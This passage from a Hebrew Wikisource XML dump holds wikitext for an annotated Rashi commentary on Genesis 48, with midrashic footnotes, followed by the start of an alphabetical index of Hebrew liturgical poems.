{{ד&quot;ה ברש&quot;י|דיבור=וָאֶקְבְּרֶהָ שָּׁם}}לֹא הוֹלַכְתִּיהָ אֲפִלּוּ לְבֵית לֶחֶם לְהַכְנִיסָהּ לָאָרֶץ; וְיָדַעְתִּי שֶׁיֵּשׁ בְּלִבְּךָ עָלַי. אֲבָל דַּע לְךָ שֶׁעַל פִּי הַדִּבּוּר קְבַרְתִּיהָ שָׁם, שֶׁתְּהֵא לְעֶזְרָה לְבָנֶיהָ. כְּשֶׁיַּגְלֶה אוֹתָם נְבוּזַרְאֲדָן, וְהָיוּ עוֹבְרִים דֶּרֶךְ שָׁם, {{ב|יָצָאת|יוצאת}} רָחֵל עַל קִבְרָהּ וּבוֹכָה וּמְבַקֶּשֶׁת עֲלֵיהֶם רַחֲמִים, שֶׁנֶּאֱמַר: &quot;קוֹל בָּרָמָה נִשְׁמָע [רָחֵל מְבַכָּה עַל בָּנֶיהָ]&quot; {{קטן|([[ירמיהו לא יד|ירמיהו לא, יד]])}}, וְהַקָּדוֹשׁ בָּרוּךְ הוּא מְשִׁיבָהּ: &quot;יֵשׁ שָׂכָר לִפְעֻלָּתֵךְ נְאֻם ה'&quot; וְגוֹ', &quot;וְשָׁבוּ בָנִים לִגְבוּלָם&quot; {{קטן|([[ירמיהו לא טו|שם לא, טו]]-[[ירמיהו לא טז|טז]])}}.{{הערה|[[בראשית רבה פב י|ב&quot;ר פב, י]]: ותמת רחל ותקבר בדרך אפרת מה ראה אבינו יעקב לקבור את רחל בדרך אפרת אלא צפה יעקב אבינו שהגליות עתידות לעבור שם לפיכך קברה שם כדי שתהא מבקשת עליהם רחמים הה&quot;ד (שם) קול ברמה נשמע נהי בכי תמרורים רחל מבכה על בניה;{{ש}}[[פסיקתא רבתי/ג|פס&quot;ר פ&quot;ג]]: ...אמר לו: שמא מה שלא הכנסת אותה לקבורה שמא עונת גשמים הייתה? אמר לו: לאו, בעוד כברת ארץ לבוא אפרתה (שם) בין פסח לעצרת היה, בזמן שהארץ מנופה והולכת ובאה ככברה, שיכולים (הלו') [להלוך]. אמר לו יוסף: גזור עכשיו ואני מעלה אותה וקוברתה. אמר לו יעקב: אין אתה יכול בני שלא קברתיה שם אלא על פי הדיבור, שאף אני בקשתי להעלותה ולקוברה ולא הניחני הקדוש ברוך הוא, שנאמר 'ואקברה שם' - מהו 'שם'? על פי הדיבור ולמה שגלוי וצפוי לפניו שסוף בית המקדש עתיד ליחרב ובניו עתידים לצאת בגולה והם הולכין אצל אבות ומבקשים מהם שיתפללו עליהם ואינם מועילין להם וכיון שהם הולכין בדרך הם באין ומחבקין קבורת רחל והיא עומדת ומבקשת רחמים [...] שכן כתב 'בכי תמרורים רחל מבכה על בניה' וכתב 'ויש תקוה לאחריתך [נאום ה'] ושבו בנים לגבולם'. הרי פייסו למה לא נכנסה אמו לקבורה.}}{{ש}}
וְאוֹנְקְלוֹס תִּרְגֵּם &quot;כְּרוּב אַרְעָא&quot;, כְּדֵי שִׁיעוּר חֲרִישַׁת יוֹם. וְאוֹמֵר אֲנִי שֶׁהָיָה לָהֶם {{ב|קֶצֶב|מידה קבועה}} שֶׁהָיוּ קוֹרִין אוֹתוֹ &quot;כְּדֵי מַחֲרֵשָׁה אַחַת&quot;, {{לעז|קֿרואיד&quot;א|charuede|תרגום=מלוא מחרישה {{קטן|(מה שמחרישה מספיקה לחרוש במשך יום)}}|מספר=3061}} בְּלַעַ&quot;ז, כִּדְאָמְרִינָן: &quot;{{ב|כָּרֵיב וְתָנֵי|חרש ושנה (חרש שוב)}}&quot; {{קטן|([[בבא מציעא קז א|ב&quot;מ ק&quot;ז ע&quot;א]])}}; &quot;{{ב|כְּמָה דְּמַסִּיק תַּעֲלָא מִבֵּי כַּרְבָּא|כמו העפר המועט שהשועל מעלה ברגליו כשהוא הולך בשדה חרוש}}&quot; {{קטן|([[יומא מג ב|יומא מ&quot;ג ע&quot;ב]])}}.&lt;קטע סוף=ז/&gt;

{{צ-ברשי|בראשית|מח|ח}}
&lt;קטע התחלה=ח/&gt;
{{ד&quot;ה ברש&quot;י|ספר=בראשית|פרק=מח|פסוק=ח|דיבור=וַיַּרְא יִשְׂרָאֵל אֶת בְּנֵי יוֹסֵף}}בִּקֵּשׁ לְבָרְכָם, וְנִסְתַּלְּקָה שְׁכִינָה מִמֶּנּוּ; {{ב|לְפִי|בגלל שעתידים לצאת מזרעם מלכים רשעים}} שֶׁעָתִיד יָרָבְעָם וְאַחְאָב לָצֵאת מֵאֶפְרַיִם, וְיֵהוּא וּבָנָיו מִמְּנַשֶּׁה.{{הערה|[[מדרש תנחומא ויחי#סימן ו|מדרש תנחומא ויחי ו]]: &quot;וירא ישראל את בני יוסף ויאמר מי אלה&quot; - אמר ר' יהודה בר שלום: וכי לא היה מכירן, והלא בכל יום ויום יושבין ועוסקין בתורה לפניו, ועכשיו הוא אומר מי אלה, לאחר ששמשו אותו שבע עשרה שנה שעמד במצרים לא הכירן?! אלא שראה לירבעם בן נבט ולאחאב בן עמרי שעומדין מאפרים עובדי עכו&quot;ם, ונסתלקה רוח הקודש ממנו. כשראה יוסף כך, מיד נשתטח בקרקע ובקש רחמים.}}
{{ד&quot;ה ברש&quot;י|דיבור=וַיֹּאמֶר מִי אֵלֶּה}}מֵהֵיכָן {{ב|יָצְאוּ|נולדו}} אֵלּוּ, שֶׁאֵינָן רְאוּיִין לִבְרָכָה?&lt;קטע סוף=ח/&gt;

{{צ-ברשי|בראשית|מח|ט}}
&lt;קטע התחלה=ט/&gt;
{{ד&quot;ה ברש&quot;י|ספר=בראשית|פרק=מח|פסוק=ט|דיבור=בָּזֶה}}הֶרְאָה לוֹ שְׁטַר אֵרוּסִין וּשְׁטַר כְּתֻבָּה,{{הערה|[[מסכת כלה רבתי ג|כלה רבתי פ&quot;ג]]: והיינו דכתיב 'וירא ישראל את בני יוסף ויאמר מי אלה' - אטו עד השתא לא ידע מאן אינון? אלא דשייליה אם (לא) איתיילדו בכתובה, וכיון דחזייה כתובה אתבא דעתיה.}} וּבִקֵּשׁ יוֹסֵף רַחֲמִים עַל הַדָּבָר, וְנָחָה עָלָיו רוּחַ הַקֹּדֶשׁ.
{{ד&quot;ה ברש&quot;י|דיבור=וַיֹּאמַר קָחֶם נָא אֵלַי וַאֲבָרְכֵם}}זֶהוּ שֶׁאָמַר הַכָּתוּב: &quot;וְאָנֹכִי תִּרְגַּלְתִּי לְאֶפְרַיִם קָחָם עַל זְרוֹעוֹתָיו&quot; {{קטן|([[הושע יא ג|הושע יא, ג]])}}; {{ב|תִּרְגַלְתִּי רוּחִי בְּיַעֲקֹב|ה' אומר שהוא נתן רוח הקודש ביעקב אבינו כדי שיוכל לברך את צאצאיו (אפרים - המייצג את העם), שיגיעו למדרגה שבה הוא נושא אותם עליו באהבה, כמו אב הנושא את בנו על זרועותיו.}} בִּשְׁבִיל אֶפְרַיִם, עַד שֶׁלְּקָחָן עַל זְרוֹעוֹתָיו.{{הערה|[[מדרש תנחומא ויחי#סימן ו|מדרש תנחומא ויחי ו]]: ...מיד הכניס הקב&quot;ה רוח הקודש ביעקב וחזר וברכן. ומנין? שכך כתיב: &quot;ואנכי תרגלתי לאפרים קחם על זרועותיו&quot; (הושע יא, ג). תרגלתי רוח הקודש ליעקב, בשביל אפרים.}}&lt;קטע סוף=ט/&gt;

{{צ-ברשי|בראשית|מח|יא}}
&lt;קטע התחלה=יא/&gt;
{{ד&quot;ה ברש&quot;י|ספר=בראשית|פרק=מח|פסוק=יא|דיבור=לֹא פִלָּלְתִּי}}{{ב|לֹא מְלָאַנִי לִבִּי|לא העליתי על דעתי, לא העזתי להיות אופטימי שאתה עדיין חי}} לַחֲשֹׁב מַחֲשָׁבָה שֶׁאֶרְאֶה פָּנֶיךָ עוֹד. פִּלָּלְתִּי – לְשׁוֹן מַחֲשָׁבָה, כְּמוֹ: &quot;הָבִיאִי עֵצָה עֲשִׂי פְלִילָה&quot; {{קטן|([[ישעיהו טז ג|ישעיהו טז, ג]])}}.&lt;קטע סוף=יא/&gt;

{{צ-ברשי|בראשית|מח|יב}}
&lt;קטע התחלה=יב/&gt;
{{ד&quot;ה ברש&quot;י|ספר=בראשית|פרק=מח|פסוק=יב|דיבור=וַיּוֹצֵא יוֹסֵף אֹתָם}}לְאַחַר שֶׁנְּשָׁקָם, הוֹצִיאָם יוֹסֵף {{ב|מֵעִם בִּרְכָּיו|מלעמוד בסמוך לברכיים של יעקב}}, כְּדֵי לְיַשְּׁבָם, זֶה לִימִין וְזֶה לִשְׂמֹאל, לִסְמֹךְ יָדָיו עֲלֵיהֶם וּלְבָרְכָם.
{{ד&quot;ה ברש&quot;י|דיבור=וַיִּשְׁתַּחוּ לְאַפָּיו}}{{ב|כְּשֶׁחָזַר לַאֲחוֹרָיו מִלִּפְנֵי אָבִיו|היה צריך להסיג את אפרים ומנשה לאחור כדי שיוכלו להשתחוות (מלוא גופם, בפישוט ידיים ורגליים) לפני יעקב}}.&lt;קטע סוף=יב/&gt;

{{צ-ברשי|בראשית|מח|יג}}
&lt;קטע התחלה=יג/&gt;
{{ד&quot;ה ברש&quot;י|ספר=בראשית|פרק=מח|פסוק=יג|דיבור=אֶת אֶפְרַיִם בִּימִינוֹ מִשְּׂמֹאל יִשְׂרָאֵל}}{{ב|הַבָּא לִקְרָאת חֲבֵרוֹ|העומד מול אדם אחר}} - יְמִינוֹ כְּנֶגֶד שְׂמֹאל חֲבֵרוֹ; וְכִוֵּן שֶׁיְּהֵא הַבְּכוֹר {{ב|מְזֻמָּן|מוכן לקבל ראשון את הברכה}} [{{ק|ס&quot;א}} {{ב|מְיֻמָּן|עומד בצד ימין של המברך, שנחשב לצד החשוב יותר}}] לִבְרָכָה.&lt;קטע סוף=יג/&gt;

{{צ-ברשי|בראשית|מח|יד}}
&lt;קטע התחלה=יד/&gt;
{{ד&quot;ה ברש&quot;י|ספר=בראשית|פרק=מח|פסוק=יד|דיבור=שִׂכֵּל אֶת יָדָיו}}כְּתַרְגּוּמוֹ,{{הערה|אונקלוס: &quot;אַחְכֵּימִנּוּן לִידוֹהִי אֲרֵי מְנַשֶּׁה בּוּכְרָא&quot;}} &quot;אַחְכֵּימִנּוּן&quot;; {{ב|בְּהַשְׂכֵּל וְחָכְמָה|באופן מושכל, בתבונה}} {{ב|הִשְׂכִּיל אֶת יָדָיו לְכָךְ|עשה פעולה מחוכמת עם ידיו}}, וּמִדַּעַת, כִּי יוֹדֵעַ הָיָה כִּי מְנַשֶּׁה הַבְּכוֹר, וְאַף עַל פִּי כֵן לֹא שָׁת יְמִינוֹ עָלָיו.&lt;קטע סוף=יד/&gt;

{{צ-ברשי|בראשית|מח|טז}}
&lt;קטע התחלה=טז/&gt;
{{ד&quot;ה ברש&quot;י|ספר=בראשית|פרק=מח|פסוק=טז|דיבור=הַמַּלְאָךְ הַגֹּאֵל אוֹתִי}}מַלְאָךְ {{ב|הָרָגִיל לְהִשְׁתַּלֵּחַ אֵלַי בְּצָרָתִי|שבדרך כלל נשלח לעזרתי}}, כָּעִנְיָן שֶׁנֶּאֱמַר: &quot;וַיֹּאמֶר אֵלַי מַלְאַךְ הָאֱלֹהִים בַּחֲלֹם יַעֲקֹב וְגוֹ', אָנֹכִי הָאֵל בֵּית אֵל&quot; {{קטן|([[בראשית לג יא|בראשית לא, יא]]-[[בראשית לג יג|יג]])}}.
{{ד&quot;ה ברש&quot;י|דיבור=יְבָרֵךְ אֶת הַנְּעָרִים}}מְנַשֶּׁה וְאֶפְרַיִם.
{{ד&quot;ה ברש&quot;י|דיבור=וְיִדְגּוּ}}כַּדָּגִים הַלָּלוּ, שֶׁפָּרִים וְרָבִים, {{ב|וְאֵין עַיִן הָרָע שׁוֹלֶטֶת בָּהֶם|המים מסתירים אותם ולכן אין &quot;עין הרע&quot; על צאצאיהם הרבים}}.{{הערה|[[בראשית רבה צז ג|ב&quot;ר צז, ג]]: וידגו לרוב בקרב הארץ מה הדגים הללו אין העין שולטת בהן כך בניך אין העין שולטת בהן;{{ש}}[[ברכות כ א|ברכות כ' ע&quot;א]]: רבי יוסי ברבי חנינא אמר מהכא: 'וידגו לרוב בקרב הארץ' - מה דגים שבים מים מכסין עליהם ואין עין הרע שולטת בהם, אף זרעו של יוסף אין עין הרע שולטת בהם.}}&lt;קטע סוף=טז/&gt;

{{צ-ברשי|בראשית|מח|יז}}
&lt;קטע התחלה=יז/&gt;
{{ד&quot;ה ברש&quot;י|ספר=בראשית|פרק=מח|פסוק=יז|דיבור=וַיִּתְמֹךְ יַד אָבִיו}}הֱרִימָהּ מֵעַל רֹאשׁ בְּנוֹ וּתְמָכָהּ בְּיָדוֹ.&lt;קטע סוף=יז/&gt;

{{צ-ברשי|בראשית|מח|יט}}
&lt;קטע התחלה=יט/&gt;
{{ד&quot;ה ברש&quot;י|ספר=בראשית|פרק=מח|פסוק=יט|דיבור=יָדַעְתִּי בְנִי יָדַעְתִּי}}{{ב|שֶׁהוּא הַבְּכוֹר|מתייחס לנכתב בפסוק הקודם - יעקב אומר ליוסף שאין צורך להזיז את יד ימינו לבכור, כי הוא עשה זאת בכוונה}}.
{{ד&quot;ה ברש&quot;י|דיבור=גַּם הוּא יִהְיֶה לְעָם וְגַם הוּא יִגְדָּל}}שֶׁעָתִיד גִּדְעוֹן לָצֵאת מִמֶּנּוּ, שֶׁהַקָּדוֹשׁ בָּרוּךְ הוּא עוֹשֶׂה נֵס עַל יָדוֹ.{{הערה|[[מדרש תנחומא ויחי|תנחומא ויחי, סימן ו]]: &quot;וימאן אביו ויאמר ידעתי&quot; שראה לגדעון עומד ממנשה. &quot;ואולם אחיו הקטן יגדל&quot; - זה יהושע שעמד מאפרים.}}
{{ד&quot;ה ברש&quot;י|דיבור=וְאוּלָם אָחִיו הַקָּטֹן יִגְדַּל מִמֶּנּוּ}}שֶׁעָתִיד יְהוֹשֻׁעַ לָצֵאת מִמֶּנּוּ, שֶׁיַּנְחִיל אֶת הָאָרֶץ, וִילַמֵּד תּוֹרָה לְיִשְׂרָאֵל.{{הערה|&quot;וַיִּכְרֹת יְהוֹשֻׁעַ בְּרִית לָעָם בַּיּוֹם הַהוּא, וַיָּשֶׂם לוֹ חֹק וּמִשְׁפָּט בִּשְׁכֶם&quot; ([[יהושע כד כה]])}}
{{ד&quot;ה ברש&quot;י|דיבור=וְזַרְעוֹ יִהְיֶה מְלֹא הַגּוֹיִם}}כָּל הָעוֹלָם יִתְמַלֵּא {{ב|בְּצֵאת שָׁמְעוֹ וּשְׁמוֹ|כאשר תצא השמועה עליו ועל שמו הטוב ותתפרסם בכל העולם}}, כְּשֶׁיַּעֲמִיד חַמָּה בְּגִבְעוֹן וְיָרֵחַ בְּעֵמֶק אַיָּלוֹן.{{הערה|[[בראשית רבה צז ד|ב&quot;ר צז, ד]]: גם הוא יהיה לעם וגם הוא יגדל - {{ב|ואפשר כן|הכוונה בשאלה כאן מתייחסת להמשך הפסוק, &quot;וְזַרְעוֹ יִהְיֶה מְלֹא הַגּוֹיִם&quot;, שהרי לא יתכן ששבט אפריים ימלא את כל העולם!}}? אלא זה יהושע שהוא {{ב|מדמים|מעמיד מלכת, מלשון &quot;דום&quot;}} גלגל חמה ולבנה שהן שולטין מסוף העולם ועד סופו;{{ש}}[[עבודה זרה כה א|ע&quot;ז כ&quot;ה ע&quot;א]]: &quot;וידום השמש וירח עמד עד יקום גוי אויביו, הלא היא כתובה על ספר הישר&quot; - מאי ספר הישר? א&quot;ר חייא בר אבא א&quot;ר יוחנן: זה ספר אברהם יצחק ויעקב [...] והיכא רמיזא? &quot;וזרעו יהיה מלא הגוים&quot; [אימתי יהיה מלא הגוים] בשעה שעמדה לו חמה ליהושע. רש&quot;י כותב על הגמרא: ...אדם נוצח כאן מלחמה ואין {{ב|בני אספמייא|תושבי ארץ רחוקה, ספרד}} יודעין בה, אבל בשעה שעמדה לו חמה ליהושע נראה לכל העולם ויראו מפניו.}}&lt;קטע סוף=יט/&gt;

{{צ-ברשי|בראשית|מח|כ}}
&lt;קטע התחלה=כ/&gt;
{{ד&quot;ה ברש&quot;י|ספר=בראשית|פרק=מח|פסוק=כ|דיבור=בְּךָ יְבָרֵךְ יִשְׂרָאֵל}}הַבָּא לְבָרֵךְ אֶת בָּנָיו, יְבָרְכֵם בְּבִרְכָתָם, וְיֹאמַר אִישׁ לִבְנוֹ: יְשִׂימְךָ אֱלֹהִים כְּאֶפְרַיִם וְכִמְנַשֶּׁה.
{{ד&quot;ה ברש&quot;י|דיבור=וַיָּשֶׂם אֶת אֶפְרַיִם}}בְּבִרְכָתוֹ לִפְנֵי מְנַשֶּׁה, לְהַקְדִּימוֹ בַּדְּגָלִים וּבַחֲנֻכַּת הַנְּשִׂיאִים.{{הערה|[[בראשית רבה צז ה|ב&quot;ר צז, ה]]: &quot;וַיְבָרֲכֵם בַּיּוֹם הַהוּא&quot; – כשם שקדמו כאן, כך קדמו בכ&quot;מ: [...] קדמו בדגלים (במדבר ב): &quot;דֶּגֶל מַחֲנֵה אֶפְרַיִם&quot;, ואחר כך &quot;וְעָלָיו מַטֵּה מְנַשֶּׁה&quot;. קדמו בנשיאים (במדבר ז): &quot;בַּיּוֹם הַשְּׁבִיעִי נָשִׂיא לִבְנֵי אֶפְרַיִם&quot;, ואח&quot;כ (שם) &quot;בַּיּוֹם הַשְּׁמִינִי נָשִׂיא לִבְנֵי מְנַשֶּׁה&quot;.}}&lt;קטע סוף=כ/&gt;

{{צ-ברשי|בראשית|מח|כב}}
&lt;קטע התחלה=כב/&gt;
{{ד&quot;ה ברש&quot;י|ספר=בראשית|פרק=מח|פסוק=כב|דיבור=וַאֲנִי נָתַתִּי לְךָ}}לְפִי שֶׁאַתָּה טוֹרֵחַ לְהִתְעַסֵּק בִּקְבוּרָתִי, וְגַם אֲנִי נָתַתִּי לְךָ נַחֲלָה שֶׁתִּקָּבֵר בָּהּ, וְאֵיזוֹ? זוֹ שְׁכֶם, שֶׁנֶּאֱמַר: &quot;וְאֶת עַצְמוֹת יוֹסֵף אֲשֶׁר הֶעֱלוּ [בְנֵי יִשְׂרָאֵל] מִמִּצְרַיִם קָבְרוּ בִשְׁכֶם&quot; {{קטן|([[יהושע כד לב|יהושע כד, לב]])}}.
{{ד&quot;ה ברש&quot;י|דיבור=שְׁכֶם אַחַד עַל אַחֶיךָ}}{{ב|שְׁכֶם מַמָּשׁ|העיר שכם עצמה (ולא במשמעות אחרת של המילה &quot;שכם&quot; כגון צד או חלק) - יעקב מעניק ליוסף את העיר שכם כנחלה פרטית, נוסף על חלוקת הארץ הרגילה בין השבטים. בכך יוסף מקבל חלק אחד יותר (יתרה) משאר אחיו}}, הִיא תִּהְיֶה לְךָ חֵלֶק אֶחָד יְתֵרָה עַל אַחֶיךָ {{הערה|[[בראשית רבה צז ו|ב&quot;ר צז, ו]]: רבי נחמיה אמר: 'ואני נתתי לך שכם אחד' - זו שכם ודאי, 'אשר לקחתי מיד האמורי' - זה חמור אבי שכם. וכי אמורי היה? אלא חוי בכלל אמורי.}}
{{ד&quot;ה ברש&quot;י|דיבור=בְּחַרְבִּי וּבְקַשְׁתִּי}}כְּשֶׁהָרְגוּ שִׁמְעוֹן וְלֵוִי אֶת אַנְשֵׁי שְׁכֶם, נִתְכַּנְּסוּ כָּל סְבִיבוֹתֵיהֶם {{ב|לְהִזְדַּוֵּג לָהֶם|להילחם בהם או להתעמת איתם}}, וְחָגַר יַעֲקֹב כְּלֵי מִלְחָמָה כְּנֶגְדָּן.{{הערה|[[בראשית רבה פ י|ב&quot;ר פ, י]]: וכיון שעשו בניו אותו מעשה אמר 'מה אני מניח את בני ליפול ביד אוה&quot;ע'? מה עשה - נטל חרבו וקשתו ועמד לו על פתחה של שכם ואמר 'אם יבואו האוה&quot;ע להזדווג להם לבני - אני נלחם כנגדן'. הוא דהוא א&quot;ל ליוסף (בראשית מח) ואני נתתי לך שכם אחד על אחיך וגו'. והיכן מצינו שנטל אבינו יעקב חרבו וקשתו? בשכם, שנאמר (שם) אשר לקחתי מיד האמורי בחרבי ובקשתי ואת חמור ואת שכם בנו.}}{{ש}}
דָּבָר אַחֵר, &quot;שְׁכֶם אַחַד&quot; הוּא הַבְּכוֹרָה, שֶׁיִּטְּלוּ בָּנָיו שְׁנֵי חֲלָקִים,{{הערה|[[בראשית רבה צז ו|ב&quot;ר צז, ו]]: ר&quot;י אמר: ואני נתתי לך שכם - זו הבכורה.}}, וּשְׁכֶם לְשׁוֹן &quot;חֵלֶק&quot; הוּא [כְּתַרְגּוּמוֹ].{{הערה|אונקלוס: וַאֲנָא יְהַבִית לָךְ חוּלָק חַד יַתִּיר עַל אֲחָךְ.}} וְהַרְבֵּה יֵשׁ לוֹ דּוֹמִים בַּמִּקְרָא: 
:&quot;כִּי תְּשִׁיתֵמוֹ שֶׁכֶם&quot; {{קטן|([[תהלים כא יג|תהלים כא, יג]])}}, {{ב|תָּשִׁית שׂוֹנְאַי לְפָנַי לַחֲלָקִים|דוד מבקש מה' שיפריד את שונאיו אחד מהשני}};
:&quot;אֲחַלְּקָה שְׁכֶם&quot; {{קטן|([[תהלים ס ח|תהלים ס, ח]])}};
:&quot;דֶּרֶךְ יְרַצְּחוּ שֶׁכְמָה&quot; {{קטן|([[הושע ו ט|הושע ו, ט]])}}, {{ב|אִישׁ חֶלְקוֹ|כל אחד מהרוצחים לוקח חלק ברצח}};
:&quot;לְעָבְדוֹ {{ב|שְׁכֶם אֶחָד|כחלק אחד, ביחד}}&quot; {{קטן|([[צפניה ג ט|צפניה ג, ט]])}}.
{{ד&quot;ה ברש&quot;י|דיבור=אֲשֶׁר לָקַחְתִּי מִיַּד הָאֱמֹרִי}}{{ב|מִיַּד עֵשָׂו|בהמשך לפירוש לעיל: &quot;שְׁכֶם אַחַד&quot; הוּא הַבְּכוֹרָה - כביכול את הבכורה שקנה יעקב מעשו הוא מעביר ליוסף}}, שֶׁעָשָֹה מַעֲשֵׂה אֱמוֹרִי.{{הערה|[[בראשית רבה צז ו|ב&quot;ר צז, ו]]: אשר לקחתי מיד האמורי - זה עשו. וכי עשו אמורי היה? אלא שעשה מעשה אמורי.}}{{ש}}
דָּבָר אַחֵר, שֶׁהָיָה צָד אָבִיו בְּאִמְרֵי פִיו.
{{ד&quot;ה ברש&quot;י|דיבור=בְּחַרְבִּי וּבְקַשְׁתִּי}}הִיא {{ב|חָכְמָתִי וּתְפִלָּתִי|שבזכותם השיג את הבכורה מעשו}}.{{הערה|[[בבא בתרא קכג א|ב&quot;ב קכ&quot;ג ע&quot;א]]: ואני נתתי לך שכם אחד על אחיך אשר לקחתי מיד האמורי בחרבי ובקשתי - וכי בחרבו ובקשתו לקח? והלא כבר נאמר (תהלים מד, ז) כי לא בקשתי אבטח וחרבי לא תושיעני? אלא חרבי זו תפלה, קשתי זו בקשה; (וכן ב[[מדרש תנחומא בשלח ט]])}}&lt;קטע סוף=כב/&gt;&lt;קטע סוף=בראשית מח/&gt;
{{מ:טעמי המקרא-סוף}}

&lt;noinclude&gt;{{הבהרת מרחב ביאור}}&lt;/noinclude&gt;
==הערות שוליים==
&lt;references/&gt;
{{סרגל ניווט בביאור|רש&amp;quot;י|בראשית|בראשית מז|מח|בראשית מט}}
&lt;noinclude&gt;
[[קטגוריה:בראשית מח]]
&lt;/noinclude&gt;</text>
      <sha1>3rnecp28phoetzgotqximey5o0xkkqw</sha1>
    </revision>
  </page>
  <page>
    <title>אוצר השירה והפיוט/ערכים</title>
    <ns>0</ns>
    <id>1739955</id>
    <revision>
      <id>3020726</id>
      <parentid>3020034</parentid>
      <timestamp>2026-06-19T07:26:34Z</timestamp>
      <contributor>
        <username>Yack67</username>
        <id>27395</id>
      </contributor>
      <origin>3020726</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="138734" sha1="0p8f9k8aqt9ccb4h95pm8b11d9g224z" xml:space="preserve">{{בעבודה}}
__NOTOC__
&lt;div style=&quot;text-align: center; background: #f9f9f9; border: 1px solid #ddd; padding: 10px; margin-bottom: 20px;&quot;&gt;
'''מעבר לאות:'''
[[#א|א]] | [[#ב|ב]] | [[#ג|ג]] | [[#ד|ד]] | [[#ה|ה]] | [[#ו|ו]] | [[#ז|ז]] | [[#ח|ח]] | [[#ט|ט]] | [[#י|י]] | [[#כ|כ]] | [[#ל|ל]] | [[#מ|מ]] | [[#נ|נ]] | [[#ס|ס]] | [[#ע|ע]] | [[#פ|פ]] | [[#צ|צ]] | [[#ק|ק]] | [[#ר|ר]] | [[#ש|ש]] | [[#ת|ת]]
&lt;/div&gt;
=א=
==א-1==
'''א...[[אישים איך אותם יקריבו]]'''.{{ש}}
==א-1-א*==
'''א .... [[המחשבה במחשבות שלום מקדם חשובה]]'''.{{ש}}
==א-2==
'''א...ת [[במצורע הזהרת]]'''.{{ש}}
==א-2*==
'''א .... [[חצפית אשרו ומשמרו צפית]]'''.{{ש}}
==א-3*==
'''[[א...רים כיונה פותה אחריך משכתה]]'''.{{ש}}
==א-3==
'''[[אאביך ביום מבך|אאביך ביום מבך עוגל חצי גרני]]'''.{{ש}}
==א-4==
'''[[בדעתו אביעה חידות#אאגרה בני איש|אאגרה בני איש המושרר בטל]]'''.{{ש}}

==א-5==
'''[[אאדה עד חוג שמים|אאדה עד חוג שמים אעלה אתי שמים]]'''.{{ש}}

+'''[[ואאדיר אלהי אבי]]'''.{{ש}}

==א-6==
'''[[אאדיר ללובש הוד והדר]]'''.{{ש}}
==א-7==
'''[[אאדר ליוצר בראשית ובורא נשמות]]'''.{{ש}}
==א-8==
'''[[אאדרך חן בשמים]]'''.{{ש}}
==א-9==
'''[[אאוגריה זילא סהדא שקרא]]'''.{{ש}}
==א-10==
'''[[אאזר חלצי למלאות חפצי ולפני מליצי כפירי אריות]]'''.{{ש}}
==א-11==
'''[[אאזרה גבורה...]]'''.{{ש}}
==א-12==
'''[[אאיר גם אזהיר באור בהיר]]'''.{{ש}}
==א-1*==
'''[[אאל להאל באל וחילה אסעדה בתודה ואסלדה בחלה]]'''.{{ש}}
==א-13==
'''[[אאמיץ לנורא ואיום|אאמיץ לנורא ואיום בהסתופפי לפניו]]'''.{{ש}}
==א-14==
'''[[אאמיצכם שירים באמרי פי]]'''.{{ש}}
==א-15==
'''[[אאמיר אאדיר אפודת אגודת אורתך]]'''.{{ש}}
==א-16==
'''[[אאמיר אאדיר עשרה שמות במרץ]]'''.{{ש}}
==א-17==
'''[[אאמיר אאמיץ עטה עז]]'''.{{ש}}
==א-18==
'''[[אאמיר אותך סלה|אאמיר אותך סלה בהוד והדר ותהלה]]'''.{{ש}}
==א-19==
'''[[אאמיר אל האמירני]]'''.{{ש}}
==א-21==
'''[[אאמיר מסתתר במעון חביון]]'''.{{ש}}
==א-22==
'''[[אאמיר שבח במערכה לפאר לאדיר במלוכה]]'''.{{ש}}
==א-4*==
'''[[אאמירם לי לאיומה אבוננם להחכימה]]'''.{{ש}}
==א-23==
'''[[אאמן שמך ואקרא אליכם אישים]]'''.{{ש}}
==א-24==
'''[[אאפד ישועה למלך]]'''.{{ש}}
==א-25==
'''[[את חיל יום פקודה#אאפיד נזר איום|אאפיד נזר איום בשלוש קדושה ביום]]'''.{{ש}}

==א-26==
'''[[אאריא מתילי ואחוין]]'''.{{ש}}
==א-27==
'''[[אאשרה חסנך אלהי עולם אברכך בכל עת מלך עולם]]'''.{{ש}}
==א-28==
'''[[אב אחד לכלנו וגוי אחד קראנו]]'''.{{ש}}

(א-5*){{ש}}
'''[[אב אתה לאביונים לעם שומר אמונים]]'''.{{ש}}
==א-29==
'''[[אב בחכמה אור החמה ידך רמה על כל תבל]]'''.{{ש}}
==א-30==
'''[[אב בנס שמיני כנוסה ושמע למהול לי ויקשב]]'''.{{ש}}
==א-31==
'''[[אב גבר כחילים ובניו מפילים חללים]]'''.{{ש}}
==א-32==
'''[[אב המון איש אמון ממשפחת רם ישיש ונכבד והמשרה על שכמו]]'''.{{ש}}
==א-6*==
'''[[אב המון בכל נתברך]]'''.{{ש}}
==א-33==
'''[[אב המון גוים]]'''.{{ש}}
==א-34==
'''[[אב המון גוים הכיר יחודו וידע אלהים ועבדו]]'''.{{ש}}
==א-7*==
'''[[אב המון גוים ישראלים אשר פריו קדש הלולים]]'''.{{ש}}
==א-35==
'''[[אב המון גוים לקח מארם בן שלש הכיר פני אדון הכל]]'''.{{ש}}
==א-36==
'''[[אב המון מל בשר יחידו]]'''.{{ש}}
==א-8982==
(א-8*){{ש}}
'''[[אב הנסים לקולי תשמעה ולי תטה השלום כנהר]]'''.{{ש}}

+'''[[אב הרחמים אדון השלום]]'''.{{ש}}

==א-9*==
'''[[אב הרחמים איחדה שמך לילות וימים]]'''.{{ש}}
==א-37==
'''[[אב הרחמים אל רם על רמים בך אשמח ויגל לבבי]]'''.{{ש}}
==א-8983==
(א-10*){{ש}}
'''[[אב הרחמים אנא הרחמים ושמו אחד]]'''.{{ש}}
==א-38==
'''[[אב הרחמים אשר בידך נפשות החיים והמתים]]'''.{{ש}}
==א-39==
'''[[אב הרחמים אשר הסליחה עמך תחתינו שעה כי אנחנו עמיך]]'''.{{ש}}

+'''[[אב הרחמים הוא ירחם עם עמוסים]]'''{{ש}}

==א-11*==
'''[[אב הרחמים היטיבה ברצונך את ציון]]'''.{{ש}}

+'''[[אב הרחמים רחם]]'''{{ש}}

==א-40==
'''[[אב הרחמים|אב הרחמים שוכן מרומים]]'''.{{ש}}
+'''[[אב הרחמן מלא רחמים|אב הרחמן מלא רחמים רבים]]'''. –עיין [[#ר-802|רחום וחנון חטאנו לפניך רחם עלינו אב הרחמן מלא רחמים]].{{ש}}
==א-8984==
'''[[אב הרחמן שברי בך מלכי]]'''.{{ש}}

==א-47==
